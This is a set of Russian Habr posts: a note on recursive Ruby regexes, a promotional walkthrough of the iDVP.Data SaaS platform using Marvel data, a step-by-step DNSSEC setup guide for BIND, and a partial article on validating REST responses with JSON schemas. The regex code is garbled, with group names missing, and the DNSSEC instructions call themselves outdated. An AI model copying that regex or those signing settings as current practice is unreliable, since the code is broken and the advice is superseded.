Данный код находит любое вложенное выражение с правильно раставленными скобками.
reg = /(? # Начало именнованого выражения
\( # Открывающая круглая скобка
(?: # Незапоминаемая группа
(?> # Сопоставление с собственическим выражением
\\[()] #экранированная скобка
| # ЛИБО
[^()]# вообще не скобка
) #Конец собственического выражения
| # ЛИБО
\g # Вложенная группа в скобках (рекурсивынй вызов)
)\* # Незапоминаеммаяя группа
\) # Закрывающая круглая скобка
) #конеч выражения
\x#
m=reg.match(str).to\_a # [«a ((b-c)/(d-e) — f)». " a ((b-c)/(d-e) — f)"]
Нужно не забывать что левосторонняя риекурсия запрещена
Что можно делать.
`str = "bbbaccc"
rel = /(? a|b\g c)/
re1.match(str).to_a`
А так нельзя.
`re2 = /(? a|\g c)/` | https://habr.com/ru/post/50749/ | null | ru | null |
# Marvel: Infinity War или Как собрать данные под свой проект за пару минут
[](https://habrastorage.org/webt/mc/a-/ed/mca-edh2nvwsuq7hmvgzndeslum.jpeg)
У меня есть две сферы интересов. Первая: общество анонимных ~~ленивых~~ аналитиков данных, вторая: общество анонимных гиков. И если со второй у меня все ок, то с первой все сложнее. Когда говоришь людям, какие задачи решают аналитики данных, что они представляют? Ради эксперимента ввела в гугл определение и первое же:
> Аналитик данных — это универсальный специалист, который обладает знаниями в математике, статистике, информатике, компьютерных науках, бизнесе и экономике. Аналитик Big Data изучает большие массивы данных, содержащие разрозненную информацию, например: результаты исследований, рыночные тенденции, предпочтения клиентов и пр. Исследование и анализ такой информации может привести к новым научным открытиям, повышению эффективности работы компании, новым возможностям получения дохода, улучшению обслуживания клиентов и т.д. Основное умение специалистов по изучению данных – это видеть логические связи в системе собранной информации и на основании этого разрабатывать те или иные бизнес-решения, модели.
>
>
>
> Определение с сайта [buduguru.org/profession/39](http://buduguru.org/profession/39).
Универсальный специалист, окей. Судя по описанию что-то между доктором Манхэттеном и Стивеном Хокингом.
[](https://habrastorage.org/webt/9r/ni/8b/9rni8baaqvyowl3wdogijnf8kta.jpeg)
Однако не буду вдаваться в семантику этого определения, я хочу поговорить на больную тему аналитиков данных (нет, не ту, где ~~нытье~~ разговоры об отсутствии данных). А что делать если данные ЕСТЬ?
И тут мы переходим к вытекающим проблемам:
* С помощью каких инструментов изучать эти данные?
* Как преобразовывать эти массивы данных?
* Как хранить их? Надо ли их хранить?
* Что делать, если источников очень много, и все они гетерогенны?
Окей. Пул проблем мы сформировали, а что делать дальше? В данной статье я расскажу об инструменте, который реализовала наша команда разработки, а именно об облачной системе [iDVP.Data SaaS](https://idvp.io/).
Что это такое?
[iDVP.Data SaaS](https://idvp.io/) — это многофункциональный инструмент для работы с данными в облаке, который позволяет подключать различные данные, преобразовывать их и отдавать во внешние системы, как веб-сервисы.
Война бесконечности
-------------------
Тут мы невольно пересекаемся со второй сферой интересов: в качестве примера я решила подключить открытые данные Marvel к [iDVP.Data SaaS](https://idvp.io/). Все уже смотрели новый фильм о Войне бесконечности? Посмотрев фильм, я не могла не вспомнить и другие масштабные конфликты во вселенной Marvel, понесшие за собой глобальные изменения франшизы. Мне стало интересно вспомнить, сколько персонажей по линии комиксов участвовало в Infinity War, и сколько в ней погибло? Чтобы ответить на эти вопросы, я обратилась к самому достоверному источнику — официальному сайту [Marvel](http://marvel.com/).
[](https://habrastorage.org/webt/js/kw/vf/jskwvfw2xfp4bccws5eir4uuhsa.jpeg)
Первым делом зайдем на сайт [iDVP.Data SaaS](https://idvp.io/) и зарегистрируемся.
После этого мы попадаем на рабочую страницу пользователя, где есть рабочие пространства с тестовыми демо-кейсами. В них представлены потоки данных от подключения источника данных до витрины данных.
[](https://habrastorage.org/webt/ks/vo/a-/ksvoa-ckia2-y2xvrmelj3owbyk.png)
Изучив тестовые примеры и добавив новое рабочее пространство, перейдем к созданию собственного потока данных. В качестве источников я выбрала следующие данные:
* REST cервис, возвращающий информацию о всех персонажах вселенной Marvel;
* REST cервис, возвращающий информацию о всех событиях вселенной Marvel;
* файл в формате CSV, где указаны основные участники гражданской войны.
**Шаг 1. Подключить**
Поочередно подключаем данные:
[](https://habrastorage.org/webt/6-/a0/hs/6-a0hskes6d6n7jl8_qtak9m8fs.png)
В результате получаем три подключенных источника данных:
[](https://habrastorage.org/webt/i7/c4/fg/i7c4fgtybnckalpb-n14r97zqwi.png)
* participants\_marvel\_raw — сервис;
* characters\_marvel\_raw — сервис;
* events\_marvel\_raw — файл в формате CSV.
**Шаг 2. Преобразовать**
После подключения данных создаем наборы данных (Datasets), где выполняем необходимые преобразования (очистка данных, вычисления или, например, парсинг данных из JSON) при помощи SQL-скриптов.
```
select
k.id,
k.name,
k.com.name as comics_name,
k.ser.name as series_name,
k.stor.name as stories_name,
k.event.name as events_name
from (
select
a.id,
a.name,
flatten(a.comics) as com,
flatten(a.series) as ser,
flatten(a.stories) as stor,
flatten(a.events) as event
from (
select
c.`data`.id as id,
c.`data`.name as name,
c.`data`.comics.`items` as comics,
c.`data`.series.`items` as series,
c.`data`.stories.`items` as stories,
c.`data`.events.`items` as events
from (
select
t.res.`data`.`results` as `data`
from (
select
convert_from(a.content, 'JSON') res
from `characters_marvel_raw` a
) t
) c
) a
) k
```
В результате получаем распарсенные данные:
[](https://habrastorage.org/webt/ge/yv/vt/geyvvtarxbtujip-3xtdacdnz1e.png)
И такую цепочку потоков данных:
[](https://habrastorage.org/webt/jj/ww/2a/jjww2agmbkgrywugmjcblctw_es.png)
После подключения данных и их преобразования скорость доступа к полученной информации все еще может быть низка (из-за долгого ответа источника или из-за большого объема данных). Здесь срабатывает механизм «материализации» (сохранения) данных в самой [iDVP.Data SaaS](https://idvp.io/). Обращение к сохраненным данным осуществляется крайне быстро даже при работе с большими объемами информации за счет использования технологий BigData. Сохраненные данные в любой момент можно обновить (полностью или частично), а также настроить расписание, по которому система будет их обновлять автоматически.
Таким образом есть возможность накапливать исторические данные, даже если сам источник этого не поддерживает. Материализация также помогает продолжать работу с данными, в случае если источник становится недоступным, за счет сохранения в файловой системе [iDVP.Data SaaS](https://idvp.io/).
[](https://habrastorage.org/webt/or/gq/ey/orgqey1r25u0droy9kjsoyxk4v8.png)
**Шаг 3. Опубликовать**
Создаем витрину данных (web-сервис), которая также представляет собой SQL-запрос. В витрине данных можно определить входные и выходные параметры.
[](https://habrastorage.org/webt/fu/g6/ik/fug6ik0-vho3f6evb7nbxfnzwkg.png)
После того как витрины данных созданы, их можно публиковать в открытый доступ и использовать в своих внешних системах.
[](https://habrastorage.org/webt/tg/tk/ra/tgtkra_bex_rmgnav8kvvlv-esg.png)
[](https://habrastorage.org/webt/ws/9s/kx/ws9skxpt7-q7igvfcs_m52olczs.png)
Полученный сервис можно использовать для построения отчетов и 3D приложений, как, например, мы это делали для визуализации данных [Выборов 2018](https://habr.com/post/351440/).
P.S. Выводы
-----------
[](https://habrastorage.org/webt/g3/pa/ym/g3paymi1vbw2ynsztyh2smjrooc.jpeg)
**Первый вывод**
Мы вспомнили линейку комиксов, где упоминается Война бесконечности, и вот что получили:
* участвовало 57 персонажа;
* 5 не подтверждено;
* 15 погибло.
**Второй вывод**
Если нужно быстро и легко справиться с данными, то можно воспользоваться системой [iDVP.Data SaaS](https://idvp.io/), которая на данный момент проходит этап бета-тестирования. Наша команда надеется, что среди вас, дочитавших эту историю до конца, есть те, кто станут первыми тестировщиками нашего нового инструмента.
С его помощью вы сможете самостоятельно:
* подключаться к различным источникам;
* единообразно получать данные из любых источников;
* выполнять ETL-преобразования данных при помощи SQL;
* повышать скорость работы с данными с помощью технологий BigData;
* анализировать данные;
* предоставлять данные во внешние системы;
* осуществлять данные операции в удобном и простом интерфейсе.
Заранее благодарны за обратную связь!
**Пример использования на комментариях к посту:**
[Статистика по комментариям](https://app.idvp.io/#/view/vtcqtemevq/default/comments_all_date_time_view). | https://habr.com/ru/post/412579/ | null | ru | null |
# Практическое применение DNSSEC
В статье описываются недостатки существующей структуры DNS, полный процесс внедрения DNSSEC на примере доменов .com и .org, процедура создания **валидного самоподписанного** SSL-сертификата подписанного с помощью DNSSEC.
### Чем плох DNS
Система DNS в нынешнем виде была разработана более 20 лет назад, когда о защите информации не особенно задумывались. Она имеет несколько фундаментальных уязвимостей.
Достоверность ответа DNS-сервера никак не проверяется. Это позволяет отправить пользователя, обратившегося к доменному имени, на произвольный IP-адрес, подменив ответ сервера. На практике подобная атака может выглядеть [так](http://www.winsecurity.ru/articles/understanding-man-in-the-middle-attacks-arp-part2.html).
Также уязвимы кеширующие DNS-серверы провайдеров, выступающие как резолверы для клиентов: [Атака Каминского](http://ru.wikipedia.org/wiki/%D0%90%D1%82%D0%B0%D0%BA%D0%B0_%D0%9A%D0%B0%D0%BC%D0%B8%D0%BD%D1%81%D0%BA%D0%BE%D0%B3%D0%BE).
Сегодня существуют технологии, предусматривающие хранение открытых ключей в DNS-записях, например, [DKIM-подписи](http://ru.wikipedia.org/wiki/DomainKeys_Identified_Mail) в электронной почте, SSH-ключей в записях [SSHFP](http://tools.ietf.org/html/rfc4255) и т.д. Все эти технологии требуют защиты от подделки DNS.
### Теория DNSSEC
DNSSEC — технология, позволяющая однозначно удостовериться в подлинности DNS информации при помощи криптографической подписи.
Популярно о DNSSEC можно прочитать здесь: [dxdt.ru/2009/03/04/2163](http://dxdt.ru/2009/03/04/2163/)
Более подробно здесь: [habrahabr.ru/blogs/sysadm/120620](http://habrahabr.ru/blogs/sysadm/120620/)
И на сайте [Verisign.com](http://www.verisigninc.com/en_US/why-verisign/innovation-initiatives/dnssec/index.xhtml?loc=en_US)
Перед продолжением настоятельно рекомендуется внимательно прочитать вышеприведенные ссылки, так как на первый взгляд процедура подписания зоны кажется довольно запутанной.
Максимально упрощенно это выглядит примерно так: есть корневая зона ".", которая содержит в себе информацию о всех доменах первого уровня. Условно говоря, это текстовый файл с некоторым множеством строк, который изменяется не очень часто. Создается пара открытый/закрытый ключ и каждая строка в этом файле подписывается (по типу «clear sign» в PGP/GPG, которая используется в электронной почте для открытого подписания текста и начинается с «BEGIN PGP SIGNATURE»).
Теперь, имея открытый ключ от этой пары, можно удостовериться в подлинности каждой записи в этом списке. Например, проверить, что за зону «ru.» действительно отвечают серверы ripn.net:
**dig -t any +dnssec @k.root-servers.net ru.**
В ответе можно увидеть запись RRSIG содержащую хеш-подпись.
Но этого недостаточно, так как в резолве участвуют нижестоящие серверы, ответы которых тоже нужно верифицировать. Тогда владельцы домена верхнего уровня, например «com.», создают такую же пару ключей и подписывают все записи в своей зоне, и после этого добавляют слепок своего открытого ключа в корневую зону. В результате доверяя открытому ключу корневой зоны можно проверить подлинность ключа зоны «com.» и, соответственно, доверять ему:
**dig -t any +dnssec @k.root-servers.net com.**
В ответе запись DS содержит слепок ключа, которым подписывается зона «com.»
Важно понимать, что после каждого изменения в зоне подписание происходит заново. Но, так как корневая зона подписывает только открытый ключ зоны «com.», то нет необходимости перехешировать записи в корневой зоне при каждом изменении в зоне «com.»
Теперь можно установить подлинность ответов от серверов, ответственных за домен «com.»:
**dig +dnssec -t any @a.gtld-servers.net verisign.com.**
Видно, что запись о домене verisign.com. подписана, но на этом этапе возможно установить только подлинность адресов NS-серверов, ответственных за домен verisign.com. Для резолва IP-aдреса необходимо получить ответ от них, поэтому владельцы этих NS-серверов имеют свою пару ключей, которыми подписывают зону и помещают слепок открытого ключа в DS-запись.
Запрашиваем A-запись для домена verisign.com.:
**dig +dnssec -t a verisign.com @a2.nstld.com**
В результате, для проверки подлинности факта, что А-запись verisign.com содержит значение 192.5.6.31 выстраивается такая цепочка доверия:
нам заранее известен открытый ключ корневой зоны "." и мы ему доверяем. В корневой зоне существует DS-запись о том, что все записи зоны «com.» подписаны указанным в ней ключом и сама запись, соответственно, подписана ключом корневой зоны. Проверив подлинность этой записи, мы доверяем всем записям в зоне «com.», подписанным этим ключом. На серверах, ответственных за зону «com.» содержится DS-запись с открытым ключом verisign.com, подписанная ключом зоны «com.», что позволяет проверить подлинность подписи в ответе NS-сервера, ответственного за verisign.com.
Схематически это выглядит так:
Приведенное выше описание достаточно примитивно и нелепо. Оно написано с целью объяснить принцип работы «на пальцах». Вероятно, оно нисколько не упростит понимание, а только еще больше запутает.
### Практика внедрения DNSSEC
**Внимание! Данная инструкция устарела. Подписание зоны без использования NSEC3 позволяет обнаружить все DNS записи зоны.
Актуальная инструкция [www.digitalocean.com/community/tutorials/how-to-setup-dnssec-on-an-authoritative-bind-dns-server--2](https://www.digitalocean.com/community/tutorials/how-to-setup-dnssec-on-an-authoritative-bind-dns-server--2)
На текущий момент подписаны только некоторые доменные зоны верхнего уровня, в частности: .net, .com, .org.
Зона .ru до сих пор не подписана, зона .ua подписана в режиме тестирования, зона .su официально подписана, но до сих пор ни один регистратор не поддерживает добавление DS-записей.
Полный список можно посмотреть на сайте [ICANN](http://stats.research.icann.org/dns/tld_report/)
Для подписания своей зоны эта возможность должна поддерживаться регистратором домена. На текущий момент мне неизвестны отечественные регистраторы поддерживающие DNSSEC. Регистратор R01 и сайт dnssec.ru, которые рекламирует делегирование доменов .ru с поддержкой DNSSEC абсурдны, потому что сама зона .ru не подписана и, в таком случае, отправной точкой для построения цепочки доверия становится сервер R01.
Из поддерживающих можно выделить наиболее крупных:
* Godaddy.com
* Dyn.com
* 101domain.com
* GKG.net
**UPD: Теперь nic.ru тоже поддерживает DNSSEC** [www.nic.ru/news/2012/dnssec.html](http://www.nic.ru/news/2012/dnssec.html)
Неполный список можно посмотреть [здесь](http://www.pir.org/get/registrars?order=field_dnssec_value&sort=desc).
Кроме регистратора, необходимы NS-серверы с поддержкой DNSSEC. Некоторые регистраторы предоставляют такие услуги. Самый дешевый вариант у Godaddy называется Premium DNS 35$/год. Самый дорогой у dyn.com называется DynECT Lite 30$/месяц. В этой статье будет показан пример настройки собственного master DNS-сервера на базе BIND 9.7.3.
Далее предполагается, что у нас уже есть домен, делегированный на собственные, полностью настроенные DNS, и готовый файл зоны.
Для включения поддержки DNSSEC в named.conf в секцию options нужно добавить:
```
options {
...
dnssec-enable yes;
...
};
```
Инструменты для генерации ключей и подписания зон входят в пакет BIND последних версий.
На этом этапе предполагается, что читателю уже известно что такое ZSK (Zone Sign Key) и KSK (Key Sign Key).
Все приведенные ниже операции необходимо проводить в отдельно созданной папке.
Генерация ключа ZSK:
*```
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE my-domain.com
```*
Генерация ключа KSK:
*```
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE my-domain.com
```*
где my-domain.com — домен для которого генерируются ключи. В результате выполнения этих команд будут созданы две пары ключей.
Далее необходимо скопировать файл зоны в текущую папку и выполнить подписание:
*```
dnssec-signzone -S -N INCREMENT my-domain.com
```*
где my-domain.com — текстовый файл зоны. Важно выполнять команду, находясь в одной папке с ключами и файлом зоны; имя файла указывать без пути.
В результате будут созданы два файла:
*my-domain.com.signed* — подписанный файл зоны
*dsset-my-domain.com* — файл содержащий две DS-записи
Исходный файл зоны останется без изменений. Далее в конфиге BIND необходимо заменить файл на подписанный:
*```
zone "my-domain.com" {
type master;
file "my-domain.com.signed";
allow-query { any; };
allow-transfer { ....; };
};
```*
Развернутые примеры файлов зон можно посмотреть на [nox.su](http://nox.su).
Чтобы повысить отказоустойчивость своих DNS, рекомендуется использоваться secondary серверы. Cуществует несколько бесплатных сервисов предлагающих slave-серверы с поддержкой DNSSEC. Вот неполный список <http://www.frankb.us/dns/>. Я использую rollernet.us, поэтому разрешаю трансфер с адресов 208.79.240.3 и 208.79.241.3. При использовании secondary-серверов, записи о них должны присутствовать в файле зоны еще до подписания. Я рекомендую активировать трансфер уже после того как на master-сервере будет находиться подписанная зона.
Далее предполагается, что подписанная зона уже размещена на авторитарном NS-сервере и доступна снаружи:
```
dig +dnssec -t any @super.vip.my.dns.com my-domain.com
```
Команда должна вернуть подписанную зону.
На этом этапе можно активировать secondary сервера и синхронизировать зону по AXFR.
Далее необходимо добавить DS-записи в панели регистратора домена. Они были сгенерированы при выполнении dnssec-signzone и находятся в файле dsset-my-domain в таком виде:
*```
my-domain.com. IN DS 40513 5 1 6198D29A9FB9797719CDFD2316986BDFF5C29323
my-domain.com. IN DS 40513 5 2 1AAB29EC7B67013F45865AEB06D93899B45C598D65A4E4D5522BC39E B5B9212F
```*
Так выглядит форма добавления DS-записей в панели GoDaddy:
Необходимо переключиться в «Advanced mode» и скопировать обе строки, предварительно отредактировав. Нужно добавить значение TTL и удалить пробел во второй строке в отпечатке ключа, иначе форма вернет ошибку. В результате копируемые строки должны выглядеть так:
*```
my-domain.com. 86400 IN DS 40513 5 1 6198D29A9FB9797719CDFD2316986BDFF5C29323
my-domain.com. 86400 IN DS 40513 5 2 1AAB29EC7B67013F45865AEB06D93899B45C598D65A4E4D5522BC39EB5B9212F
```*
Записи будут добавлены только в случае если зона на master-сервере доступна и подписана правильно.
Значения полей в DS-записи:
86400 — TTL данной записи
40513 — Key Tag
5 — Algorithm
1/2 — Digest Type
В приведенном выше примере при генерации ключей был использован алгоритм RSA-SHA1, поэтому запись имеет номер пять.
Таблица номеров алгоритмов:
| Number | Algorithm |
| --- | --- |
| 1 | RSAMD5 |
| 2 | DH |
| 3 | DSA/SHA1 |
| 4 | ECC |
| 5 | RSA/SHA-1 |
| 6 | DSA-NSEC3-SHA1 |
| 7 | RSASHA1-NSEC3-SHA1 |
| 8 | RSA/SHA-256 |
| 9 | — |
| 10 | RSA/SHA-512 |
| 11 | — |
| 12 | ГОСТ Р 34.10-2001 |
Digest Type в приведенном примере у первой записи равен 1, во второй 2.
Таблица номеров Digest Type:
| Number | Digest Type |
| --- | --- |
| 1 | SHA-1 |
| 2 | SHA-256 |
| 3 | SHA-512 |
У некоторых регистраторов, например Dyn.com, форма добавления DS-записи не предусматривает копирование строк, а требует заполнения всех полей отдельно:
Из-за того, что у Dyn.com список алгоритмов расположен не по порядку и не отмечен номерами, это вызывает некоторую путаницу. При добавлении через эту форму так же нужно удалить пробел в отпечатке второго ключа.
После добавление DS-записей можно проверить их появление на серверах, ответственных за домен верхнего уровня. Для домена «com.» это выглядит так:
```
dig +dnssec -t DS @a.gtld-servers.net my-domain.com
```
В момент, когда это произойдет, можно проверить правильность подписания зоны с помощью [DNSSEC Debugger от Verisign](http://dnssec-debugger.verisignlabs.com/) и [визуализатора цепочки подписания](http://dnsviz.net/).
Напомню, что после каждого изменения в записях зоны, необходимо выполнять подписание повторно. DS-записи при этом обновлять не нужно.
Если всё правильно, можно переходить к настройке клиентской части.
### Настройка клиентского резолвера
Для проверки подписей на стороне клиента, эту функцию должен поддерживать системный DNS, через который происходит резолв адресов. Публичный DNS от Google 8.8.8.8 поддерживает передачу DNSSEC записей, но не производит их верификацию. Подробнее написано в [FAQ](http://code.google.com/intl/ru/speed/public-dns/faq.html#dnssec).
**UPD: С 19.03.2013 Google Public DNS производит верификацию подписей DNSSEC, и в случае невалидной подписи не резолвит домен** [googleonlinesecurity.blogspot.com/2013/03/google-public-dns-now-supports-dnssec.html](http://googleonlinesecurity.blogspot.com/2013/03/google-public-dns-now-supports-dnssec.html)
Наиболее простой вариант — плагин для [Firefox](https://addons.mozilla.org/en-US/firefox/addon/dnssec-validator/) и [Chrome](https://labs.nic.cz/page/990/rozsireni-dnssec-validator-pro-google-chrome/).
Плагин позволяет производить резолв в обход системных DNS, имеет свои предустановленные серверы с поддержкой валидации DNSSEC. По умолчанию плагин использует системные DNS, изменить это можно в настройках плагина: выбрать CZ.NIC's или 217.31.57.6
Для того, чтобы научить утилиту dig проверять подпись, необходимо создать отправную точку в цепочке доверия, создав файл с ключом корневой зоны:
```
dig +nocomments +nostats +nocmd +noquestion -t dnskey . > /etc/trusted-key.key
```
После необходимо в файле */etc/trusted-key.key* удалить строку:
```
;; Truncated, retrying in TCP mode.
```
Если этого не сделать dig вернет:
```
No trusted keys present
```
Теперь можно проверять подлинность подписей с помощью dig:
```
dig +sigchase @217.31.57.6 whitehouse.gov
```
Как настроить рекурсивный резолвер с функцией проверки подписей можно прочитать [здесь](http://www.isc.org/community/blog/201007/using-root-dnssec-key-bind-9-resolvers)
### Практическая польза
Не смотря на то, что стандарт DNSSEC до сих пор находится в разработке, уже возможно извлекать из него пользу.
###### Публичный SSH-ключ
При первом подключении к серверу SSH клиент просит самостоятельно проверить отпечаток публичного ключа сервера и ввести yes, после чего публичный ключ сервера сохраняется в файле known\_hosts.
С появлением DNSSEC публичный ключ может быть помещен в DNS-запись типа SSHFP и, при первом подключении к серверу, проверяться автоматически без запроса. Для активирования этой функции нужно добавить опцию VerifyHostKeyDNS=yes в конфиг SSH-клиента, также необходимо чтобы системный резолвер поддерживал верификацию DNSSEC.
###### Самоподписанный SSL-сертификат (HTTPS)
**UPD: Описанное ниже уже не актуально, после того как стандарт хранения ssl-ключей в DNS был опубликован, и получил название DANE [ru.wikipedia.org/wiki/DANE](http://ru.wikipedia.org/wiki/DANE) Google убрал поддержку DANE из Chrome. Дисскуссия по этому поводу с разработчиком Chrome [github.com/agl/dnssec-tls-tools/issues/4](https://github.com/agl/dnssec-tls-tools/issues/4)**
С помощью DNSSEC можно самостоятельно подписать SSL-сертификат который будет «валидным» в браузере.
Эта экспериментальная функция на данный момент находится в активной разробтке и пока поддерживается только браузером Google Chrome/Chromium.
Черновой вариант стандарта: [tools.ietf.org/html/draft-agl-dane-serializechain-01](http://tools.ietf.org/html/draft-agl-dane-serializechain-01)
Технология разрабатывается сотрудником Google по имени Адам Лэнгли (Adam Langley), он ведет очень интересный блог <http://www.imperialviolet.org/>.
[Пост](http://www.imperialviolet.org/2011/06/16/dnssecchrome.html) об этой технологии.
Далее предполагается, что домен для которого генерируется сертификат, может быть подписан DNSSEC.
Скачиваем dnssec-tls-tools:
```
git clone git://github.com/agl/dnssec-tls-tools.git
```
И компилируем:
```
gcc -o gencert gencert.c -Wall -lcrypto
```
Генерация RSA-ключей:
```
openssl genrsa 1024 > privkey.pem
openssl rsa -pubout -in privkey.pem > pubkey.pem
```
Создание отпечатка ключа:
```
python ./gencaa.py pubkey.pem
```
где gencaa.py файл из пакета dnssec-tls-tools.
Команда вернет строку вида:
```
EXAMPLE.COM. 60 IN TYPE257 \# 70 020461757468303e3039060a2b06010401d6790203010…
```
Это DNS-запись, которую необходимо добавить в свой файл зоны, заменив EXAMPLE.COM. своим значением. Если зона еще не подписана, это нужно сделать. Если запись добавляется к уже подписанной зоне, нужно, соответственно, выполнить подписание заново.
Проверяем правильность ключа в DNS:
```
dig +dnssec +sigchase -t type27 example.com
```
Команда должна вернуть *DNSSEC validation is ok: SUCCESS*
После того как запись type27 доступна и подписана, можно сгенерировать цепочку доверия DNSSEC:
```
python ./chain.py example.com chain
```
И сам сертификат:
```
./gencert privkey.pem chain > cert.pem
```
Подключение сертификата в Nginx выглядит так:
```
server {
...
ssl on;
ssl_certificate cert.pem;
ssl_certificate_key privkey.pem;
...
}
```
Из-за того, что цепочка подписания DNSSEC может изменяться, создание цепочки и генерацию сертификата (последние две команды) необходимо добавить в крон и выполнять, например, раз в сутки.
Результат должен выглядеть так: <https://dnssec.imperialviolet.org/>
Из-за того, что вся цепочка DNSSEC помещена в сертификат, браузеру нет необходимости производить полную проверку цепочки, так что сертификат будет «валидным» даже в случае если системный резолвер не поддерживает проверку DNSSEC.
---
**P.S.** В статье не рассмотрены сроки действия ключей DNSSEC, не рассказано об альтернативной цепочке доверия DLV (DNSSEC Look-aside Validation). Я буду признателен тем, кто разберется в этих вопросах и опишет их.
**P.P.S.** Мне известно негативное влияние подобных пошаговых HOWTO, которые приводят к бездумному копированию команд без понимания сути. Но, из-за того, что информации по данному вопросу мало и местами она противоречива, я надеюсь, кому-то эта статья поможет избежать путаницы с которой пришлось столкнуться мне. Спасибо [Александру Венедюхину](http://ezhe.ru/fri/410/) за консультации и [его статьи](http://dxdt.ru/).** | https://habr.com/ru/post/138490/ | null | ru | null |
# Опыт использования контрактов при вызовах REST API
Существуют два непримиримых лагеря разработчиков программного обеспечения: первый — утверждает, что чем больше крешится приложение, тем лучше оно работает. Второй — что программист достаточно умен, чтоб обработать любую нештатную ситуацию. Характерной особенностью первых является обилие директив Asset в кода, вторые же, даже операции сложения помещают в блок try — catch. Причем, оба лагеря называют такого рода подход «Программированием по контракту». Аргументы первых сводятся к [статье в википедии](https://en.wikipedia.org/wiki/Design_by_contract), аргументы вторых — к книге [«Почувствуй класс» Бертрана Мейера](https://www.google.com.ua/url?sa=t&rct=j&q=&esrc=s&source=web&cd=2&cad=rja&uact=8&ved=0ahUKEwiKo4CY48LMAhVmOJoKHaqRDX4QFgghMAE&url=https%3A%2F%2Fvk.com%2Fdoc9385624_274277026%3Fhash%3Da351256a10ddc59413%26dl%3Ddd173388cd78d0a62c&usg=AFQjCNECs7yZHziKhrl6bWLa-jkn6nSFGA&sig2=qfmmJIMMvOukp6x9iDIj9w).
В рамках научного исследования было бы правильно рассмотреть все многообразие подходов защитных механизмов программирования, особенно тех, что вынесены в заголовок этой статьи, однако, мне хочется продемонстрировать лишь одну из возможностей, которая тяготеет ко второму лагерю.
Основной посыл таков: ***Если в приложении возникает исключительная ситуация — то делаем вид, что операцию которая к ней привела вообще не вызывали.*** Ну, во всяком случае, так оно будет выглядеть с точки зрения пользователя продукта. Кроме того, добавим сюда немаловажное ограничение — речь идет **исключительно о клиент-серверном взаимодействии**.
Практический аспект таков: Когда от сервера приходит REST ответ который мы не можем обработать в связи с нарушением целостности данных (значения имеют неверные диапазоны, отсутствуют обязательные поля и т. п.) мы просто игнорируем такой вызов, и не пытаемся его распарсить.
Справедливости ради нужно сказать, что существуют библиотеки, которые производят документа-объектные преобразования по полученному JSON/XML объекту. Обратной стороной их медали является то, что, как правило, такой подход делает нежизнеспособным использование модели CoreData, поскольку, требуется наличие двух модельных логик: документа-объектных преобразований (JSON -> Binary Objects) и объектно-реляционных преобразований (Binary Objects -> CoreData Entities), поддерживать обе логики, и делать синхронизацию между ними — не хочется никому.
Обычный процесс клиент серверного взаимодействия следующий:
1. Формируем запрос к серверу с имеющимися параметрами (request)
2. Делаем запрос по заданному url
3. Получаем ответ (response)
4. Извлекаем из ответа данные (parsing)
Как правило в процессе парсинга нас поджидают неожиданности, поскольку не всё что приходит от сервера заслуживает доверия. Приходится каждый параметр проверять на соответствие типу, принадлежность диапазону, правильности ключа и пр., а это существенно увеличивает код метода парсинга, особенно, если получаемая иерархическая структура имеет множество степеней вложенности и разные типы данных (массивы, словари и т. п.) Попытка провалидизировать каждый из параметров наводит на мысль вынести логику валидации хотя бы в отдельный метод. Это позволит сделать подход несколько более гибким:
**Получаем response. Валидируем response. Если валидация была успешной — делаем парсинг, иначе — ничего не делаем (или выдаем уведомление серверу/пользователю).**
Не секрет, что в основе REST взаимодействия лежит JSON. Те кто предпочитают использовать XML, как правило, имеют свои механизмы решения аналогичных проблем. К примеру, WCF контролирует типы на этапе создания прокси-классов. Увы, пользователи JSON этого сахара лишены, и все приходится делать вручную. В результате, код проверки валидности объекта, чаще всего становится столь же большим, как и код парсинга.
Помочь в решении этой ситуации позволяет использование механизма JSON схем. Формат весьма неплохо стандартизирован и имеет избыточное описание: [json-schema.org](http://json-schema.org), кроме того, имеется множество online инструментов, позволяющих формировать схемы по введенному JSON: [jsonschema.net/#](http://jsonschema.net/#/)
Попробуем рассмотреть практический пример для языка программирования Swift.
При беглом поиске удалось найти публичный сервис, который возвращает JSON ответ на простой GET запрос: [httpbin.org/get?myFirstParam=myFirstValue&mySecondParam=MySecondValue](https://httpbin.org/get?myFirstParam=myFirstValue&mySecondParam=MySecondValue)
Ответ будет примерно следующим:
**Response**`{
"args": {
"myFirstParam": "myFirstValue",
"mySecondParam": "MySecondValue"
},
"headers": {
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3",
"Host": "httpbin.org",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:45.0) Gecko/20100101 Firefox/45.0"
},
"origin": "193.105.7.55",
"url": "https://httpbin.org/get?myFirstParam=myFirstValue&mySecondParam=MySecondValue"
}`
Ответ не содержит никакой практически-полезной информации, но позволяет отладить процесс взаимодействия. В ответе содержится строка GET запроса, и параметры, которые были переданы, а так же, некоторые сведения о браузере, через который был произведен запрос. При осуществлении запроса с симулятора или реального устройства результат ответа может быть немного другим. Вместе с тем, он обязан быть подчинен определенной схеме, которую можно извлечь, при помощи online инструментов (http://jsonschema.net/#/ и подобных).
В левой панели установим все галочки. Переключатель опции «Arrays» рекомендую поставить в значение «Single schema (list validation)» (особенности языка Swift).
Скопируем браузерный ответ в верхнее левое окно, и убедимся, что мы разместили валидный JSON. Это будет ясно по надписи «Well done! You provided valid JSON.» на зеленом фоне непосредственно под окном. К сожалению, при выводе ответа в XCode консоль даже при помощи оператора print() не соблюдаются требования формата. Если Вы все же решитесь брать текст ответа из консоли, Вам придется заменить все символы равенства «=» на двоеточие «:», и все имена полей взять в парные кавычки.
После нажатия на кнопку Generate Schema мы получаем в правом окне довольно длинную схему для такого небольшого запроса:
**Scheme**`{
"$schema": "http://json-schema.org/draft-04/schema#",
"id": "http://myjsonschema.net",
"type": "object",
"additionalProperties": true,
"title": "Root schema.",
"description": "An explanation about the purpose of this instance described by this schema.",
"name": "/",
"properties": {
"args": {
"id": "http://myjsonschema.net/args",
"type": "object",
"additionalProperties": true,
"title": "Args schema.",
"description": "An explanation about the purpose of this instance described by this schema.",
"name": "args",
"properties": {}
},
"headers": {
"id": "http://myjsonschema.net/headers",
"type": "object",
"additionalProperties": true,
"title": "Headers schema.",
"description": "An explanation about the purpose of this instance described by this schema.",
"name": "headers",
"properties": {
"Accept": {
"id": "http://myjsonschema.net/headers/Accept",
"type": "string",
